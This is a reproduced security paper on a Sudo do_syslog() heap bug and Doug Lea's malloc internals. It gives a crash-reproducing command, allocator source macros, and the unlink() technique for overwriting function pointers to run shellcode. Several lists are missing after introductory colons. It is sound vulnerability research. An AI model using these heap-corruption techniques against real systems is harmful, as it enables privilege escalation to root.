Smashing The Heap For Fun And Profit

Written by : Michel "MaXX" Kaempf
First published on : Phrack

The present paper could probably have been entitled "Smashing The Heap For Fun And Profit"... indeed, the memory allocator used by the GNU C Library (Doug Lea's Malloc) and the associated heap corruption techniques are presented. However, it was entitled "Vudo - An object superstitiously believed to embody magical powers" since a recent Sudo vulnerability and the associated Vudo exploit are presented as well.

1 - Introduction

Sudo (superuser do) allows a system administrator to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while logging the commands and arguments.

On February 19, 2001, Sudo version 1.6.3p6 was released: "This fixes a potential security problem. So far, the bug does not appear to be exploitable." Despite the comments sent to various security mailing lists after the announce of the new Sudo version, the bug is not a buffer overflow and the bug does not damage the stack.

But the bug is exploitable: even a single byte located somewhere in the heap, erroneously overwritten by a NUL byte before a call to syslog(3) and immediately restored after the syslog(3) call, may actually lead to execution of arbitrary code as root. Kick off your shoes, put your feet up, lean back and just enjoy the... voodoo.

The present paper focuses on Linux/Intel systems and:

2 - The "potential security problem"


2.1 - A real problem


2.1.1 - The vulnerable function

The vulnerable function, do_syslog(), can be found in the logging.c file of the Sudo tarball. It is called by two other functions, log_auth() and log_error(), in order to syslog allow/deny and error messages. If the message is longer than MAXSYSLOGLEN (960) characters, do_syslog() splits it into parts, breaking up the line into what will fit on one syslog line (at most MAXSYSLOGLEN characters) and trying to break on a word boundary if possible (words are delimited by SPACE characters here).

/*
 * Log a message to syslog, pre-pending the username and splitting the
 * message into parts if it is longer than MAXSYSLOGLEN.
 */
static void do_syslog( int pri, char * msg )
{
    int count;
    char * p;
    char * tmp;
    char save;

    /*
     * Log the full line, breaking into multiple syslog(3) calls if
     * necessary
     */
[1] for ( p=msg, count=0; count < strlen(msg)/MAXSYSLOGLEN + 1; count++ ) {
[2]     if ( strlen(p) > MAXSYSLOGLEN ) {
            /*
             * Break up the line into what will fit on one syslog(3) line
             * Try to break on a word boundary if possible.
             */
[3]         for ( tmp = p + MAXSYSLOGLEN; tmp > p && *tmp != ' '; tmp-- )
                ;
            if ( tmp <= p )
[4]             tmp = p + MAXSYSLOGLEN;

            /* NULL terminate line, but save the char to restore later */
            save = *tmp;
[5]         *tmp = '\0';

            if ( count == 0 )
                SYSLOG( pri, "%8.8s : %s", user_name, p );
            else
                SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p );

            /* restore saved character */
[6]         *tmp = save;

            /* Eliminate leading whitespace */
[7]         for ( p = tmp; *p != ' '; p++ )
                ;
[8]     } else {
            if ( count == 0 )
                SYSLOG( pri, "%8.8s : %s", user_name, p );
            else
                SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p );
        }
    }
}

2.1.2 - The segmentation violation

Chris Wilson discovered that long command line arguments cause Sudo to crash during the do_syslog() operation:

$ /usr/bin/sudo /bin/false `/usr/bin/perl -e 'print "A" x 31337'`
Password:
maxx is not in the sudoers file.  This incident will be reported.
Segmentation fault

Indeed, the loop[7] does not check for NUL characters and therefore pushes p way after the end of the NUL terminated character string msg (created by log_auth() or log_error() via easprintf(), a wrapper to vasprintf(3)). When p reaches the end of the heap (msg is of course located in the heap since vasprintf(3) relies on malloc(3) and realloc(3) to allocate dynamic memory) Sudo eventually dies on line[7] with a segmentation violation after an out of-bounds read operation.

This segmentation fault occurs only when long command line arguments are passed to Sudo because the loop[7] has to be run many times in order to reach the end of the heap (there could indeed be many SPACE characters, which force do_syslog() to leave the loop[7], after the end of the msg buffer but before the end of the heap). Consequently, the length of the msg string has to be many times MAXSYSLOGLEN because the loop[1] runs as long as count does not reach (strlen(msg)/MAXSYSLOGLEN + 1).

2.2 - An unreal exploit

Dying after an illegal read operation is one thing, being able to perform an illegal write operation in order to gain root privileges is another. Unfortunately do_syslog() alters the heap at two places only: line[5] and line[6]. If do_syslog() erroneously overwrites a character at line[5], it has to be exploited during one of the syslog(3) calls between line[5] and line[6], because the erroneously overwritten character is immediately restored at line[6].

Since msg was allocated in the heap via malloc(3) and realloc(3), there is an interesting structure stored just after the end of the msg buffer, maintained internally by malloc: a so-called boundary tag. If syslog(3) uses one of the malloc functions (calloc(3), malloc(3), free(3) or realloc(3)) and if the Sudo exploit corrupts that boundary tag during the execution of do_syslog(), evil things could happen. But does syslog(3) actually call malloc functions?

$ /usr/bin/sudo /bin/false `/usr/bin/perl -e 'print "A" x 1337'`
[...]
malloc( 100 ): 0x08068120;
malloc( 300 ): 0x08060de0;
free( 0x08068120 );
malloc( 700 ): 0x08060f10;
free( 0x08060de0 );
malloc( 1500 ): 0x080623b0;
free( 0x08060f10 );
realloc( 0x080623b0, 1420 ): 0x080623b0;
[...]
malloc( 192 ): 0x08062940;
malloc( 8192 ): 0x080681c8;
realloc( 0x080681c8, 119 ): 0x080681c8;
free( 0x08062940 );
free( 0x080681c8 );
[...]

The first series of malloc calls was performed by log_auth() in order to allocate memory for the msg buffer, but the second series of malloc calls was performed... by syslog(3). Maybe the Sudo exploit is not that unreal after all.

2.3 - Corrupting the heap

However, is it really possible to alter a given byte of the boundary tag located after the msg buffer (or more generally to overwrite at line[5] an arbitrary character (after the end of msg) with a NUL byte)? If the Sudo exploit exclusively relies on the content of the msg buffer (which is fortunately composed of various user-supplied strings (current working directory, sudo command, and so on)), the answer is no. This assertion is demonstrated below.

The character overwritten at line[5] by a NUL byte is pointed to by tmp:

2.4 - Temporary conclusion

The Sudo exploit should:

But in order to be able to perform these tasks, an in depth knowledge of how malloc works internally is needed.

3 - Doug Lea's Malloc

Doug Lea's Malloc (or dlmalloc for short) is the memory allocator used by the GNU C Library (available in the malloc directory of the library source tree). It manages the heap and therefore provides the calloc(3), malloc(3), free(3) and realloc(3) functions which allocate and free dynamic memory.

The description below focuses on the aspects of dlmalloc needed to successfully corrupt the heap and subsequently exploit one of the malloc calls in order to execute arbitrary code. A more complete description is available in the GNU C Library source tree and at the following addresses:

3.1 - A memory allocator

"This is not the fastest, most space-conserving, most portable, or most tunable malloc ever written. However it is among the fastest while also being among the most space-conserving, portable and tunable. Consistent balance across these factors results in a good general-purpose allocator for malloc-intensive programs."

3.1.1 - Goals

The main design goals for this allocator are maximizing compatibility, maximizing portability, minimizing space, minimizing time, maximizing tunability, maximizing locality, maximizing error detection, minimizing anomalies. Some of these design goals are critical when it comes to damaging the heap and exploiting malloc calls afterwards:

3.1.2 - Algorithms

"While coalescing via boundary tags and best-fit via binning represent the main ideas of the algorithm, further considerations lead to a number of heuristic improvements. They include locality preservation, wilderness preservation, memory mapping".

3.1.2.1 - Boundary tags

The chunks of memory managed by Doug Lea's Malloc "carry around with them size information fields both before and after the chunk. This allows for two important capabilities:

The presence of such a boundary tag (the structure holding the said information fields, detailed in 3.3) between each chunk of memory comes as a godsend to the attacker who tries to exploit heap mismanagement. Indeed, boundary tags are control structures located in the very middle of a potentially corruptible memory area (the heap), and if the attacker manages to trick dlmalloc into processing a carefully crafted fake (or altered) boundary tag, they should be able to eventually execute arbitrary code.

For example, the attacker could overflow a buffer dynamically allocated by malloc(3) and overwrite the next contiguous boundary tag (Netscape browsers exploit), or underflow such a buffer and overwrite the boundary tag stored just before (Secure Locate exploit), or cause the vulnerable program to perform an incorrect free(3) call (LBNL traceroute exploit) or multiple frees, or overwrite a single byte of a boundary tag with a NUL byte (Sudo exploit), and so on:

3.1.2.2 - Binning

"Available chunks are maintained in bins, grouped by size." Depending on its size, a free chunk is stored by dlmalloc in the bin corresponding to the correct size range (bins are detailed in 3.4):

"Searches for available chunks are processed in smallest-first, best-fit order. [...] Until the versions released in 1995, chunks were left unsorted within bins, so that the best-fit strategy was only approximate. More recent versions instead sort chunks by size within bins, with ties broken by an oldest-first rule."

These algorithms are implemented via the chunk_alloc() function (called by malloc(3) for example) and the frontlink() macro, detailed in 3.5.1 and 3.4.2.

3.1.2.3 - Locality preservation

"In the current version of malloc, a version of next-fit is used only in a restricted context that maintains locality in those cases where it conflicts the least with other goals: If a chunk of the exact desired size is not available, the most recently split-off space is used (and resplit) if it is big enough; otherwise best-fit is used."

This characteristic, implemented within the chunk_alloc() function, proved to be essential to the Sudo exploit. Thanks to this feature, the exploit could channel a whole series of malloc(3) calls within a particular free memory area, and could therefore protect another free memory area that had to remain untouched (and would otherwise have been allocated during the best-fit step of the malloc algorithm).

3.1.2.4 - Wilderness preservation

"The wilderness (so named by Kiem-Phong Vo) chunk represents the space bordering the topmost address allocated from the system. Because it is at the border, it is the only chunk that can be arbitrarily extended (via sbrk in Unix) to be bigger than it is (unless of course sbrk fails because all memory has been exhausted).

One way to deal with the wilderness chunk is to handle it about the same way as any other chunk. [...] A better strategy is currently used: treat the wilderness chunk as bigger than all others, since it can be made so (up to system limitations) and use it as such in a best-first scan. This results in the wilderness chunk always being used only if no other chunk exists, further avoiding preventable fragmentation."

The wilderness chunk is one of the most dangerous opponents of the attacker who tries to exploit heap mismanagement. Because this chunk of memory is handled specially by the dlmalloc internal routines (as detailed in 3.5), the attacker will rarely be able to execute arbitrary code if they solely corrupt the boundary tag associated with the wilderness chunk.

3.1.2.5 - Memory mapping

"In addition to extending general-purpose allocation regions via sbrk, most versions of Unix support system calls such as mmap that allocate a separate non-contiguous region of memory for use by a program. This provides a second option within malloc for satisfying a memory request. [...] the current version of malloc relies on mmap only if (1) the request is greater than a (dynamically adjustable) threshold size (currently by default 1MB) and (2) the space requested is not already available in the existing arena so would have to be obtained via sbrk."

For these two reasons, and because the environment variables that alter the behavior of the memory mapping mechanism (MALLOC_MMAP_THRESHOLD_ and MALLOC_MMAP_MAX_) are not loaded when a SUID or SGID program is run, a perfect knowledge of how the memory mapping feature works is not mandatory when abusing malloc calls. However, it will be discussed briefly in 3.3.4 and 3.5.

3.2 - Chunks of memory

The heap is divided by Doug Lea's Malloc into contiguous chunks of memory. The heap layout evolves when malloc functions are called (chunks may get allocated, freed, split, coalesced) but all procedures maintain the invariant that no free chunk physically borders another one (two bordering unused chunks are always coalesced into one larger chunk).

3.2.1 - Synopsis of public routines

The chunks of memory managed by dlmalloc are allocated and freed via four main public routines:

3.2.2 - Vital statistics

When a user calls dlmalloc in order to allocate dynamic memory, the effective size of the chunk allocated (the number of bytes actually isolated in the heap) is never equal to the size requested by the user. This overhead is the result of the presence of boundary tags before and after the buffer returned to the user, and the result of the 8 byte alignment mentioned in 3.1.1.

3.2.3 - Available chunks

Available chunks are kept in any of several places (all declared below):

3.3 - Boundary tags


3.3.1 - Structure

#define INTERNAL_SIZE_T size_t

struct malloc_chunk {
    INTERNAL_SIZE_T prev_size;
    INTERNAL_SIZE_T size;
    struct malloc_chunk * fd;
    struct malloc_chunk * bk;
};

This structure, stored in front of each chunk of memory managed by Doug Lea's Malloc, is a representation of the boundary tags presented in 3.1.2.1. The way its fields are used depends on whether the associated chunk is free or not, and whether the previous chunk is free or not.

3.3.2 - Size of a chunk

When a user requests req bytes of dynamic memory (via malloc(3) or realloc(3) for example), dlmalloc first calls request2size() in order to convert req to a usable size nb (the effective size of the allocated chunk of memory, including overhead). The request2size() macro could just add 8 bytes (the size of the prev_size and size fields stored in front of the allocated chunk) to req and therefore look like this:

#define request2size( req, nb ) \
    ( nb = (req) + SIZE_SZ + SIZE_SZ )

But this first version of request2size() is not optimal because it does not take into account the fact that the prev_size field of the next contiguous chunk can hold user data. The request2size() macro should therefore subtract 4 bytes (the size of this trailing prev_size field) from the previous result:

#define request2size( req, nb ) \
    ( nb = ((req) + SIZE_SZ + SIZE_SZ) - SIZE_SZ )

This macro is of course equivalent to:

#define request2size( req, nb ) \
    ( nb = (req) + SIZE_SZ )

Unfortunately this request2size() macro is not correct, because as mentioned in 3.2.2, the size of a chunk should always be a multiple of 8 bytes. request2size() should therefore return the first multiple of 8 bytes greater than or equal to ((req) + SIZE_SZ):

#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )

#define request2size( req, nb ) \
    ( nb = (((req) + SIZE_SZ) + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK )

The request2size() function implemented in the Sudo exploit is alike but returns MINSIZE if the theoretic effective size of the chunk is less than MINSIZE bytes (the minimum allocatable size):

#define MINSIZE sizeof(struct malloc_chunk)

size_t request2size( size_t req )
{
    size_t nb;

    nb = req + ( SIZE_SZ + MALLOC_ALIGN_MASK );
    if ( nb < (MINSIZE + MALLOC_ALIGN_MASK) ) {
        nb = MINSIZE;
    } else {
        nb &= ~MALLOC_ALIGN_MASK;
    }
    return( nb );
}

Finally, the request2size() macro implemented in Doug Lea's Malloc works likewise but adds an integer overflow detection:

#define request2size(req, nb) \
 ((nb = (req) + (SIZE_SZ + MALLOC_ALIGN_MASK)),\
  ((long)nb <= 0 || nb < (INTERNAL_SIZE_T) (req) \
   ? (__set_errno (ENOMEM), 1) \
   : ((nb < (MINSIZE + MALLOC_ALIGN_MASK) \
           ? (nb = MINSIZE) : (nb &= ~MALLOC_ALIGN_MASK)), 0)))

3.3.3 - prev_size field

If the chunk of memory located immediately before a chunk p is allocated (how dlmalloc determines whether this previous chunk is allocated or not is detailed in 3.3.4), the 4 bytes corresponding to the prev_size field of the chunk p are not used by dlmalloc and may therefore hold user data (in order to decrease wastage).

But if the chunk of memory located immediately before the chunk p is free, the prev_size field of the chunk p is used by dlmalloc and holds the size of that previous free chunk. Given a pointer to the chunk p, the address of the previous chunk can therefore be computed, thanks to the prev_chunk() macro:

#define prev_chunk( p ) \
    ( (mchunkptr)(((char *)(p)) - ((p)->prev_size)) )

3.3.4 - size field

The size field of a boundary tag holds the effective size (in bytes) of the associated chunk of memory and additional status information. This status information is stored within the 2 least significant bits, which would otherwise be unused (because as detailed in 3.3.2, the size of a chunk is always a multiple of 8 bytes, and the 3 least significant bits of a size field would therefore always be equal to 0).

The low-order bit of the size field holds the PREV_INUSE bit and the second-lowest-order bit holds the IS_MMAPPED bit:

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

In order to extract the effective size of a chunk p from its size field, dlmalloc therefore needs to mask these two status bits, and uses the chunksize() macro for this purpose:

#define SIZE_BITS ( PREV_INUSE | IS_MMAPPED )

#define chunksize( p ) \
    ( (p)->size & ~(SIZE_BITS) )

3.4 - Bins

"Available chunks are maintained in bins, grouped by size", as mentioned in 3.1.2.2 and 3.2.3. The two exceptions are the remainder of the most recently split (non-top) chunk of memory and the top-most available chunk (the wilderness chunk) which are treated specially and never included in any bin.

3.4.1 - Indexing into bins

There are a lot of these bins (128), and depending on its size (its effective size, not the size requested by the user) a free chunk of memory is stored by dlmalloc in the bin corresponding to the right size range. In order to find out the index of this bin (the 128 bins are indeed stored in an array of bins), dlmalloc calls the macros smallbin_index() and bin_index().

#define smallbin_index( sz ) \
    ( ((unsigned long)(sz)) >> 3 )

Doug Lea's Malloc considers the chunks whose size is less than 512 bytes to be small chunks, and stores these chunks in one of the 62 so-called small bins. Each small bin holds identically sized chunks, and because the minimum allocated size is 16 bytes and the size of a chunk is always a multiple of 8 bytes, the first small bin holds the 16 bytes chunks, the second one the 24 bytes chunks, the third one the 32 bytes chunks, and so on, and the last one holds the 504 bytes chunks. The index of the bin corresponding to the size sz of a small chunk is therefore (sz / 8), as implemented in the smallbin_index() macro.

#define bin_index(sz)                                                     \
((((unsigned long)(sz) >> 9) ==    0) ?       ((unsigned long)(sz) >>  3):\
 (((unsigned long)(sz) >> 9) <=    4) ?  56 + ((unsigned long)(sz) >>  6):\
 (((unsigned long)(sz) >> 9) <=   20) ?  91 + ((unsigned long)(sz) >>  9):\
 (((unsigned long)(sz) >> 9) <=   84) ? 110 + ((unsigned long)(sz) >> 12):\
 (((unsigned long)(sz) >> 9) <=  340) ? 119 + ((unsigned long)(sz) >> 15):\
 (((unsigned long)(sz) >> 9) <= 1364) ? 124 + ((unsigned long)(sz) >> 18):\
                                        126)

The index of the bin corresponding to a chunk of memory whose size is greater than or equal to 512 bytes is obtained via the bin_index() macro. Thanks to bin_index(), the size range corresponding to each bin can be determined:

3.4.2 - Linkin Park^H^H^H^H^Hg chunks in bin lists

The free chunks of memory are stored in circular doubly-linked lists. There is one circular doubly-linked list per bin, and these lists are initially empty because at the start the whole heap is composed of one single chunk (never included in any bin), the wilderness chunk. A bin is nothing more than a pair of pointers (a forward pointer and a back pointer) serving as the head of the associated doubly-linked list.

"The chunks in each bin are maintained in decreasing sorted order by size. This is irrelevant for the small bins, which all contain the same-sized chunks, but facilitates best-fit allocation for larger chunks."

The forward pointer of a bin therefore points to the first (the largest) chunk of memory in the list (or to the bin itself if the list is empty), the forward pointer of this first chunk points to the second chunk in the list, and so on until the forward pointer of a chunk (the last chunk in the list) points to the bin again. The back pointer of a bin instead points to the last (the smallest) chunk of memory in the list (or to the bin itself if the list is empty), the back pointer of this chunk points to the previous chunk in the list, and so on until the back pointer of a chunk (the first chunk in the list) points to the bin again.

3.5 - Main public routines

The final purpose of an attacker who managed to smash the heap of a process is to execute arbitrary code. Doug Lea's Malloc can be tricked into achieving this goal after a successful heap corruption, either thanks to the unlink() macro, or thanks to the frontlink() macro, both presented above and detailed in 3.6. The following description of the malloc(3), free(3) and realloc(3) algorithms therefore focuses on these two internal macros.

3.5.1 - The malloc(3) algorithm

The malloc(3) function, named __libc_malloc() in the GNU C Library (malloc() is just a weak symbol) and mALLOc() in the malloc.c file, executes in the first place the code pointed to by __malloc_hook if this debugging hook is not equal to NULL (but it normally is). Next malloc(3) converts the amount of dynamic memory requested by the user into a usable form (via request2size() presented in 3.3.2), and calls the internal function chunk_alloc() that takes the first successful of the following steps:

[1] - "The bin corresponding to the request size is scanned, and if a chunk of exactly the right size is found, it is taken."

Doug Lea's Malloc considers a chunk to be "of exactly the right size" if the difference between its size and the request size is greater than or equal to 0 but less than MINSIZE bytes. If this difference was less than 0 the chunk would not be big enough, and if the difference was greater than or equal to MINSIZE bytes (the minimum allocated size) dlmalloc could form a new chunk with this overhead and should therefore perform a split operation (not supported by this first step).

[1.1] -- The case of a small request size (a request size is small if both the corresponding bin and the next bin are small (small bins are described in 3.4.1)) is treated separately:

[1.1.1] --- If the doubly-linked list of the corresponding bin is not empty, chunk_alloc() selects the last chunk in this list (no traversal of the list and no size check are necessary for small bins since they hold identically sized chunks).

[1.1.2] --- But if this list is empty, and if the doubly-linked list of the next bin is not empty, chunk_alloc() selects the last chunk in this list (the difference between the size of this chunk and the request size is indeed less than MINSIZE bytes (it is equal to 8 bytes, as detailed in 3.4.1)).

[1.1.3] --- Finally, if a free chunk of exactly the right size was found and selected, chunk_alloc() calls unlink() in order to take this chunk off its doubly-linked list, and returns it to mALLOc(). If no such chunk was found, the step[2] is carried out.

[1.2] -- If the request size is not small, the doubly-linked list of the corresponding bin is scanned. chunk_alloc() starts from the last (the smallest) free chunk in the list and follows the back pointer of each traversed chunk:

[1.2.1] --- If during the scan a too big chunk is encountered (a chunk whose size is MINSIZE bytes or more greater than the request size), the scan is aborted since the next traversed chunks would be too big also (the chunks are indeed sorted by size within a doubly-linked list) and the step[2] is carried out.

[1.2.2] --- But if a chunk of exactly the right size is found, unlink() is called in order to take it off its doubly-linked list, and the chunk is then returned to mALLOc(). If no big enough chunk was found at all during the scan, the step[2] is carried out.

[2] - "The most recently remaindered chunk is used if it is big enough."

But this particular free chunk of memory does not always exist: dlmalloc gives this special meaning (the `last_remainder' label) to a free chunk with the macro link_last_remainder(), and removes this special meaning with the macro clear_last_remainder(). So if one of the available free chunks is marked with the label `last_remainder':

[2.1] -- It is divided into two parts if it is too big (if the difference between its size and the request size is greater than or equal to MINSIZE bytes). The first part (whose size is equal to the request size) is returned to mALLOc() and the second part becomes the new `last_remainder' (via link_last_remainder()).

[2.2] -- But if the difference between the size of the `last_remainder' chunk and the request size is less than MINSIZE bytes, chunk_alloc() calls clear_last_remainder() and next:

[2.2.1] --- Returns that most recently remaindered chunk (that just lost its label `last_remainder' because of the clear_last_remainder() call) to mALLOc() if it is big enough (if the difference between its size and the request size is greater than or equal to 0).

[2.2.2] --- Or places this chunk in its doubly-linked list (thanks to the frontlink() macro) if it is too small (if the difference between its size and the request size is less than 0), and carries out the step[3].

[3] - "Other bins are scanned in increasing size order, using a chunk big enough to fulfill the request, and splitting off any remainder."

The scanned bins (the scan of a bin consists in traversing the associated doubly-linked list, starting from the last (the smallest) free chunk in the list, and following the back pointer of each traversed chunk) all correspond to sizes greater than or equal to the request size and are processed one by one (starting from the bin where the search at step[1] stopped) until a big enough chunk is found:

[3.1] -- This big enough chunk is divided into two parts if it is too big (if the difference between its size and the request size is greater than or equal to MINSIZE bytes). The first part (whose size is equal to the request size) is taken off its doubly-linked list via unlink() and returned to mALLOc(). The second part becomes the new `last_remainder' via link_last_remainder().

[3.2] -- But if a chunk of exactly the right size was found, unlink() is called in order to take it off its doubly-linked list, and the chunk is then returned to mALLOc(). If no big enough chunk was found at all, the step[4] is carried out.

[4] - "If large enough, the chunk bordering the end of memory (`top') is split off."

The chunk bordering the end of the heap (the wilderness chunk presented in 3.1.2.4) is large enough if the difference between its size and the request size is greater than or equal to MINSIZE bytes (the step[5] is otherwise carried out). The wilderness chunk is then divided into two parts: the first part (whose size is equal to the request size) is returned to mALLOc(), and the second part becomes the new wilderness chunk.

[5] - "If the request size meets the mmap threshold and the system supports mmap, and there are few enough currently allocated mmapped regions, and a call to mmap succeeds, the request is allocated via direct memory mapping."

Doug Lea's Malloc calls the internal function mmap_chunk() if the above conditions are fulfilled (the step[6] is otherwise carried out), but since the default value of the mmap threshold is rather large (128k), and since the MALLOC_MMAP_THRESHOLD_ environment variable cannot override this default value when a SUID or SGID program is run, mmap_chunk() is not detailed in the present paper.

[6] - "Otherwise, the top of memory is extended by obtaining more space from the system (normally using sbrk, but definable to anything else via the MORECORE macro)."

After a successful extension, the wilderness chunk is split off as it would have been at step[4], but if the extension fails, a NULL pointer is returned to mALLOc().

3.5.2 - The free(3) algorithm

The free(3) function, named __libc_free() in the GNU C Library (free() is just a weak symbol) and fREe() in the malloc.c file, executes in the first place the code pointed to by __free_hook if this debugging hook is not equal to NULL (but it normally is), and next distinguishes between the following cases:

[1] - "free(0) has no effect."

But if the pointer argument passed to free(3) is not equal to NULL (and it is usually not), the step[2] is carried out.

[2] - "If the chunk was allocated via mmap, it is released via munmap()."

The fREe() function determines (thanks to the macro chunk_is_mmapped() presented in 3.3.4) whether the chunk to be freed was allocated via the memory mapping mechanism (described in 3.1.2.5) or not, and calls the internal function munmap_chunk() (not detailed in the present paper) if it was, but calls chunk_free() (step[3] and step[4]) if it was not.

[3] - "If a returned chunk borders the current high end of memory, it is consolidated into the top".

If the chunk to be freed is located immediately before the top-most available chunk (the wilderness chunk), a new wilderness chunk is assembled (but the step[4] is otherwise carried out):

[3.1] -- If the chunk located immediately before the chunk being freed is unused, it is taken off its doubly-linked list via unlink() and becomes the beginning of the new wilderness chunk (composed of the former wilderness chunk, the chunk being freed, and the chunk located immediately before). As a side note, unlink() is equivalent to clear_last_remainder() if the processed chunk is the `last_remainder'.

[3.2] -- But if that previous chunk is allocated, the chunk being freed becomes the beginning of the new wilderness chunk (composed of the former wilderness chunk and the chunk being freed).

[4] - "Other chunks are consolidated as they arrive, and placed in corresponding bins. (This includes the case of consolidating with the current `last_remainder')."

[4.1] -- If the chunk located immediately before the chunk to be freed is unused, it is taken off its doubly-linked list via unlink() (if it is not the `last_remainder') and consolidated with the chunk being freed.

[4.2] -- If the chunk located immediately after the chunk to be freed is unused, it is taken off its doubly-linked list via unlink() (if it is not the `last_remainder') and consolidated with the chunk being freed.

[4.3] -- The resulting coalesced chunk is placed in its doubly-linked list (via the frontlink() macro), or becomes the new `last_remainder' if the old `last_remainder' was consolidated with the chunk being freed (but the link_last_remainder() macro is called only if the beginning of the new `last_remainder' is different from the beginning of the old `last_remainder').

3.5.3 - The realloc(3) algorithm

The realloc(3) function, named __libc_realloc() in the GNU C Library (realloc() is just a weak symbol) and rEALLOc() in the malloc.c file, executes in the first place the code pointed to by __realloc_hook if this debugging hook is not equal to NULL (but it normally is), and next distinguishes between the following cases:

[1] - "Unless the #define REALLOC_ZERO_BYTES_FREES is set, realloc with a size argument of zero (re)allocates a minimum-sized chunk."

But if REALLOC_ZERO_BYTES_FREES is set, and if realloc(3) was called with a size argument of zero, the fREe() function (described in 3.5.2) is called in order to free the chunk of memory passed to realloc(3). The step[2] is otherwise carried out.

[2] - "realloc of null is supposed to be same as malloc".

If realloc(3) was called with a pointer argument of NULL, the mALLOc() function (detailed in 3.5.1) is called in order to allocate a new chunk of memory. The step[3] is otherwise carried out, but the amount of dynamic memory requested by the user is first converted into a usable form (via request2size() presented in 3.3.2).

[3] - "Chunks that were obtained via mmap [...]."

rEALLOc() calls the macro chunk_is_mmapped() (presented in 3.3.4) in order to determine whether the chunk to be reallocated was obtained via the memory mapping mechanism (described in 3.1.2.5) or not. If it was, specific code (not detailed in the present paper) is executed, but if it was not, the chunk to be reallocated is processed by the internal function chunk_realloc() (step[4] and next ones).

[4] - "If the reallocation is for less space [...]."

[4.1] -- The processed chunk is divided into two parts if its size is MINSIZE bytes or more greater than the request size: the first part (whose size is equal to the request size) is returned to rEALLOc(), and the second part is freed via a call to chunk_free() (detailed in 3.5.2).

[4.2] -- But the processed chunk is simply returned to rEALLOc() if the difference between its size and the request size is less than MINSIZE bytes (this difference is of course greater than or equal to 0 since the size of the processed chunk is greater than or equal to the request size).

[5] - "Otherwise, if the reallocation is for additional space, and the chunk can be extended, it is, else a malloc-copy-free sequence is taken. There are several different ways that a chunk could be extended. All are tried:"

[5.1] -- "Extending forward into following adjacent free chunk."

If the chunk of memory located immediately after the chunk to be reallocated is free, the two following steps are tried before the step[5.2] is carried out:

[5.1.1] --- If this free chunk is the top-most available chunk (the wilderness chunk) and if its size plus the size of the chunk being reallocated is MINSIZE bytes or more greater than the request size, the wilderness chunk is divided into two parts. The first part is consolidated with the chunk being reallocated and the resulting coalesced chunk is returned to rEALLOc() (the size of this coalesced chunk is of course equal to the request size), and the second part becomes the new wilderness chunk.

[5.1.2] --- But if that free chunk is a normal free chunk, and if its size plus the size of the chunk being reallocated is greater than or equal to the request size, it is taken off its doubly-linked list via unlink() (equivalent to clear_last_remainder() if the processed chunk is the `last_remainder') and consolidated with the chunk being freed, and the resulting coalesced chunk is then treated as it would have been at step[4].

[5.2] -- "Both shifting backwards and extending forward."

If the chunk located immediately before the chunk to be reallocated is free, and if the chunk located immediately after is free as well, the two following steps are tried before the step[5.3] is carried out:

[5.2.1] --- If the chunk located immediately after the chunk to be reallocated is the top-most available chunk (the wilderness chunk) and if its size plus the size of the chunk being reallocated plus the size of the previous chunk is MINSIZE bytes or more greater than the request size, the said three chunks are coalesced. The previous chunk is first taken off its doubly-linked list via unlink() (equivalent to clear_last_remainder() if the processed chunk is the `last_remainder'), the content of the chunk being reallocated is then copied to the newly coalesced chunk, and this coalesced chunk is finally divided into two parts: the first part is returned to rEALLOc() (the size of this chunk is of course equal to the request size), and the second part becomes the new wilderness chunk.

[5.2.2] --- If the chunk located immediately after the chunk to be reallocated is a normal free chunk, and if its size plus the size of the chunk being reallocated plus the size of the previous chunk is greater than or equal to the request size, the said three chunks are coalesced. The previous and next chunks are first taken off their doubly-linked lists via unlink() (equivalent to clear_last_remainder() if the processed chunk is the `last_remainder'), the content of the chunk being reallocated is then copied to the newly coalesced chunk, and this coalesced chunk is finally treated as it would have been at step[4].

[5.3] -- "Shifting backwards, joining preceding adjacent space".

If the chunk located immediately before the chunk to be reallocated is free and if its size plus the size of the chunk being reallocated is greater than or equal to the request size, the said two chunks are coalesced (but the step[5.4] is otherwise carried out). The previous chunk is first taken off its doubly-linked list via unlink() (equivalent to clear_last_remainder() if the processed chunk is the `last_remainder'), the content of the chunk being reallocated is then copied to the newly coalesced chunk, and this coalesced chunk is finally treated as it would have been at step[4].

[5.4] -- If the chunk to be reallocated could not be extended, the internal function chunk_alloc() (detailed in 3.5.1) is called in order to allocate a new chunk of exactly the request size:

[5.4.1] --- If the chunk returned by chunk_alloc() is located immediately after the chunk being reallocated (this can only happen when that next chunk was extended during the chunk_alloc() execution (since it was not big enough before), so this can only happen when this next chunk is the wilderness chunk, extended during the step[6] of the malloc(3) algorithm), it is consolidated with the chunk being reallocated and the resulting coalesced chunk is then treated as it would have been at step[4].

[5.4.2] --- The chunk being reallocated is otherwise freed via chunk_free() (detailed in 3.5.2), but its content is first copied to the newly allocated chunk returned by chunk_alloc(). Finally, the chunk returned by chunk_alloc() is returned to rEALLOc().

3.6 - Execution of arbitrary code


3.6.1 - The unlink() technique


3.6.1.1 - Concept

If an attacker manages to trick dlmalloc into processing a carefully crafted fake chunk of memory (or a chunk whose fd and bk fields have been corrupted) with the unlink() macro, they will be able to overwrite any integer in memory with the value of their choosing, and will therefore be able to eventually execute arbitrary code.

#define unlink( P, BK, FD ) {            \
[1] BK = P->bk;                          \
[2] FD = P->fd;                          \
[3] FD->bk = BK;                         \
[4] BK->fd = FD;                         \
}

Indeed, the attacker could store the address of a function pointer, minus 12 bytes as explained below, in the forward pointer FD of the fake chunk (read at line[2]), and the address of a shellcode in the back pointer BK of the fake chunk (read at line[1]). The unlink() macro would therefore, when trying to take this fake chunk off its imaginary doubly-linked list, overwrite (at line[3]) the function pointer located at FD plus 12 bytes (12 is the offset of the bk field within a boundary tag) with BK (the address of the shellcode).

If the vulnerable program reads the overwritten function pointer (an entry of the GOT (Global Offset Table) or one of the debugging hooks compiled in Doug Lea's Malloc (__malloc_hook, __free_hook, etc) for example) and jumps to the memory location it points to, and if a valid shellcode is stored there at that time, the shellcode is executed.

But since unlink() would also overwrite (at line[4]) an integer located in the very middle of the shellcode, at BK plus 8 bytes (8 is the offset of the fd field within a boundary tag), with FD (a valid pointer but probably not valid machine code), the first instruction of the shellcode should jump over the overwritten integer, into a classic shellcode.

